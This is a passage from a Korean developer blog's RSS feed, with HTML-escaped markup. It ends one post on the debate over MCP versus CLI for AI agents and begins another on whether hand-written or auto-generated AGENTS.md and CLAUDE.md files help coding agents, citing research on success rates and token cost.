&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;명령어 단위 제어 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;마무리&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MCP는 죽었다&quot;는 말은 다소 과장된 표현이다. 그러나 이 논쟁이 던지는 핵심 질문은 유효하다: &lt;b&gt;&quot;우리는 지금 정말 MCP가 필요한가, 아니면 CLI로 충분한가?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;LLM이 이미 CLI를 잘 사용할 줄 알고, CLI가 없는 서비스에만 MCP가 진정한 가치를 발휘한다면, 개발자로서 우선순위를 다시 점검해볼 필요가 있다. Holmes의 마지막 말처럼, &lt;b&gt;&quot;좋은 API를 만들고, 좋은 CLI를 만들어라. 에이전트는 알아서 해낼 것이다.&quot;&lt;/b&gt; (원문: &quot;Ship a good API, then ship a good CLI. The agents will figure it out.&quot;) 새로운 서비스를 AI 에이전트에 연동하기 전에 먼저 물어보자 &amp;mdash; &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;좋은 CLI가 있는가?&quot;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;자료&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;링크&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;원문 블로그&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ejholmes.github.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Eric Holmes, 2026.02.28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GeekNews 토론&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;news.hada.io/topic?id=27129&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;한국 커뮤니티 반응&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 공식 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px; color: #666; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI 에이전트 CLI</category>
      <category>AI 에이전트 인터페이스</category>
      <category>Claude Code CLI 활용</category>
      <category>Eric Holmes MCP</category>
      <category>GeekNews MCP 논쟁</category>
      <category>LLM CLI 도구</category>
      <category>MCP CLI 비교</category>
      <category>MCP vs CLI 개발자</category>
      <category>MCP 서버 대안</category>
      <category>Model Context Protocol 문제점</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/535</guid>
      <comments>https://goddaehee.tistory.com/535#entry535comment</comments>
      <pubDate>Thu, 5 Mar 2026 01:00:52 +0900</pubDate>
    </item>
    <item>
      <title>ETH Zurich 연구 vs 커뮤니티 반응 : CLAUDE.md(AGENTS.md) 쓰면 비용만 낭비된다? 자동 생성하면 오히려 성공률이 떨어진다?</title>
      <link>https://goddaehee.tistory.com/534</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 최근 개발자 커뮤니티에서 뜨거운 감자가 된 주제인 &lt;b&gt;AGENTS.md와 CLAUDE.md의 올바른 작성법&lt;/b&gt;에 대해 알아보려고 한다. &quot;자동 생성하면 안 된다&quot;는 주장도 있고, &quot;그래도 도움이 된다&quot;는 주장도 있다. 과연 진실은 무엇일까?&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2420&quot; data-origin-height=&quot;1620&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FgMA3/dJMcaibpqh9/Fld6cSFODkJ4D4vm9jpjc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FgMA3/dJMcaibpqh9/Fld6cSFODkJ4D4vm9jpjc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FgMA3/dJMcaibpqh9/Fld6cSFODkJ4D4vm9jpjc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFgMA3%2FdJMcaibpqh9%2FFld6cSFODkJ4D4vm9jpjc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2420&quot; height=&quot;1620&quot; data-origin-width=&quot;2420&quot; data-origin-height=&quot;1620&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;연구 데이터와 커뮤니티 피드백을 바탕으로, 이 파일들이 정말 필요한지, 그렇다면 어떻게 작성해야 하는지 함께 살펴보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이런 분들에게 도움이 됩니다&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code, Cursor, Codex 등 AI 코딩 에이전트를 사용하는 개발자&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code&gt;/init&lt;/code&gt;으로 AGENTS.md를 자동 생성해서 사용하고 있는 분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;에이전트의 코드 생성 품질을 높이고 싶은 분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI 에이전트 사용 시 토큰 비용을 최적화하고 싶은 분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;팀 단위로 AI 코딩 에이전트를 도입하려는 기술 리더&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이 글의 출처&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 &lt;a href=&quot;https://addyosmani.com/blog/agents-md/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Addy Osmani의 &quot;Stop Using /init for AGENTS.md&quot;&lt;/a&gt;(2026-02-23)와 &lt;a href=&quot;https://news.hada.io/topic?id=26972&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews 토론&lt;/a&gt;을 주요 출처로 한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ETH Zurich(arXiv:2602.11988)와 Lulla et al.(arXiv:2601.20404)의 학술 연구 결과를 종합하여 작성했으며, 인용된 수치는 모두 해당 원문에서 참조하였다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;들어가며 &amp;mdash; AGENTS.md 논쟁의 시작&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AGENTS.md와 CLAUDE.md란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정의와 역할&lt;/li&gt;
&lt;li&gt;사용 사례&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자동 생성의 함정 &amp;mdash; 연구가 말하는 것
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ETH Zurich 연구 결과&lt;/li&gt;
&lt;li&gt;성능 저하 원인&lt;/li&gt;
&lt;li&gt;&quot;Lost in the Middle&quot; 효과&lt;/li&gt;
&lt;li&gt;앵커링 효과&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;올바른 작성이 중요한 이유
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Lulla et al. 연구 분석&lt;/li&gt;
&lt;li&gt;토큰 효율성과 실행 속도&lt;/li&gt;
&lt;li&gt;사람의 직관 vs LLM의 실제 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 &amp;mdash; 찬성과 반박
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Addy Osmani의 주장&lt;/li&gt;
&lt;li&gt;GeekNews 커뮤니티 의견&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;포함해야 할 것 vs 제외해야 할 것
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;포함 기준&lt;/li&gt;
&lt;li&gt;제외 기준&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 예시 &amp;mdash; 좋은 AGENTS.md vs 나쁜 AGENTS.md
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;안티패턴&lt;/li&gt;
&lt;li&gt;권장 패턴&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;시간이 지나면 생기는 문제 &amp;mdash; 문서 부패(Documentation Rot)
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단일 정적 파일의 한계&lt;/li&gt;
&lt;li&gt;문서 부패의 악순환&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;파일 관리 전략 &amp;mdash; 최신 상태 유지법
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 생성 회피&lt;/li&gt;
&lt;li&gt;수동 유지보수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md와의 구분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론 및 핵심 요약
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;진단 도구로서의 AGENTS.md&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;AGENTS.md 제대로 쓰기 가이드&lt;/b&gt;&lt;br /&gt;AGENTS.md는 단순한 자동 생성 파일이 아니다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;에이전트가 직접 발견할 수 없는 정보만 담고, 중복을 철저히 제거&lt;/b&gt;&lt;/span&gt;할 때만 가치를 발휘한다. &lt;br /&gt;이 가이드는 연구 데이터와 실전 사례를 바탕으로, AGENTS.md와 CLAUDE.md를 올바르게 작성하고 관리하는 방법을 제시한다.&amp;nbsp;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 들어가며 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 들어가며 &amp;mdash; AGENTS.md 논쟁의 시작&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;최근 Claude Code 사용자들 사이에서 논쟁이 일고 있다. &lt;b&gt;AGENTS.md와 CLAUDE.md는 정말 필요한가? 자동 생성해도 되는가?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 질문이 핵심이 된 계기는 2026년 2월에 공개된 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ETH Zurich의 연구 결과&lt;/b&gt;&lt;/span&gt;였다. 연구팀은 438개 이상의 대규모 벤치마크 태스크를 분석했고, 충격적인 결론에 도달했다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자동 생성 AGENTS.md&lt;/b&gt;는 작업 성공률을 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0.5~2% 감소&lt;/b&gt;&lt;/span&gt;시키고(SWE-bench Lite 0.5%, AGENTbench 2%), 비용을 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;20% 이상 증가&lt;/b&gt;&lt;/span&gt;시킨다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;개발자가 직접 작성한 AGENTS.md&lt;/b&gt;는 성공률을 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4% 향상&lt;/b&gt;&lt;/span&gt;시킨다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 이 차이가 생기는가?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;자동 생성 AGENTS.md는 저장소에서 &lt;b&gt;이미 발견 가능한 정보(디렉토리 구조, 기술 스택, 패키지 목록)&lt;/b&gt;를 중복으로 포함한다. 이는 에이전트의 컨텍스트 윈도우를 낭비하고, 토큰 소비를 증가시키며, 중요한 정보를 묻어버린다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 &lt;b&gt;잘 작성된 AGENTS.md&lt;/b&gt;는 다르다. 에이전트가 스스로 발견할 수 없는 정보만 담으면, 실행 시간이 28.64% 단축되고 토큰 소비가 16.58% 감소한다는 것이 증명되었다고 한다.(Lulla et al., ICSE JAWs 2026).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 정의 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. AGENTS.md와 CLAUDE.md란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;정의와 역할&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.md&lt;/b&gt;는 에이전트(AI 코딩 도구)를 위해 저장소 루트에 배치되는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;구조화된 컨텍스트 파일&lt;/b&gt;&lt;/span&gt;이다. Claude Code, GitHub Copilot, 기타 AI 도구가 이 파일을 읽고 프로젝트의 특성을 빠르게 파악한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CLAUDE.md&lt;/b&gt;는 에이전트와 개발자 모두를 위한 프로젝트 지침 파일로, 더 광범위한 컨텍스트를 담을 수 있다. 개발 규칙, 아키텍처 결정, 주의사항 등이 포함된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;도구마다 이름이 다르지만 역할은 동일하다. 아래 표는 주요 AI 코딩 도구의 컨텍스트 파일을 정리한 것이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;컨텍스트 파일&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세션 시작 시 자동으로 컨텍스트에 로드됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cursor&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.cursorrules&lt;/code&gt; (구버전) 또는 &lt;code&gt;.cursor/rules/&lt;/code&gt; (신버전)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트 규칙 및 코딩 컨벤션 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Codex&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 지시사항 및 프로젝트 맥락&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;범용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;여러 도구에서 사실상 표준(de facto standard)으로 자리잡아가는 이름&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용 사례&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 동작 방식&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트는 저장소에 접근할 때 &lt;b&gt;루트 &amp;rarr; 리프 순서로&lt;/b&gt; 파일을 읽는다. 즉, AGENTS.md는 가장 먼저 로드되어, 에이전트의 초기 전략을 결정한다.&lt;br /&gt;&lt;b&gt;OpenAI Codex&lt;/b&gt; 기준으로 기본 최대 크기는 &lt;b&gt;32 KiB&lt;/b&gt;이다(project_doc_max_bytes).&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;도구마다 컨텍스트 파일을 처리하는 방식이 조금씩 다르다. 이를 이해하면 왜 &quot;가벼운 파일&quot;이 중요한지 더 잘 알 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;도구&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;로드 시점&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비용 영향&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;세션 시작 시 CLAUDE.md를 컨텍스트에 자동 주입&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;매 API 호출마다 입력 토큰에 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cursor&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;.cursorrules를 에이전트 모드 시 컨텍스트에 포함&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 에이전트 호출에 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Codex&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AGENTS.md를 작업 시작 전 로드&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;작업 전체 기간 동안 컨텍스트 차지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;파일이 &lt;b&gt;매번 로드&lt;/b&gt;된다는 점이 핵심이다. 파일이 500토큰이면 모든 호출에서 500토큰이 추가된다. 하루에 에이전트를 100번 호출한다면 &lt;b&gt;50,000토큰&lt;/b&gt;의 추가 비용이 된다. Anthropic 공식 문서는 CLAUDE.md를 &lt;b&gt;200줄 이하&lt;/b&gt;로 유지할 것을 권장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AGENTS.md와 README의 역할을 혼동하는 경우가 많은데, 명확한 차이가 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;README:&lt;/b&gt; 인간을 위한 프로젝트 설명 (기능, 설치법, 사용법)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AGENTS.md:&lt;/b&gt; 에이전트를 위한 지침 (에이전트가 모르는 정보만)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 자동 생성의 함정 --&gt;
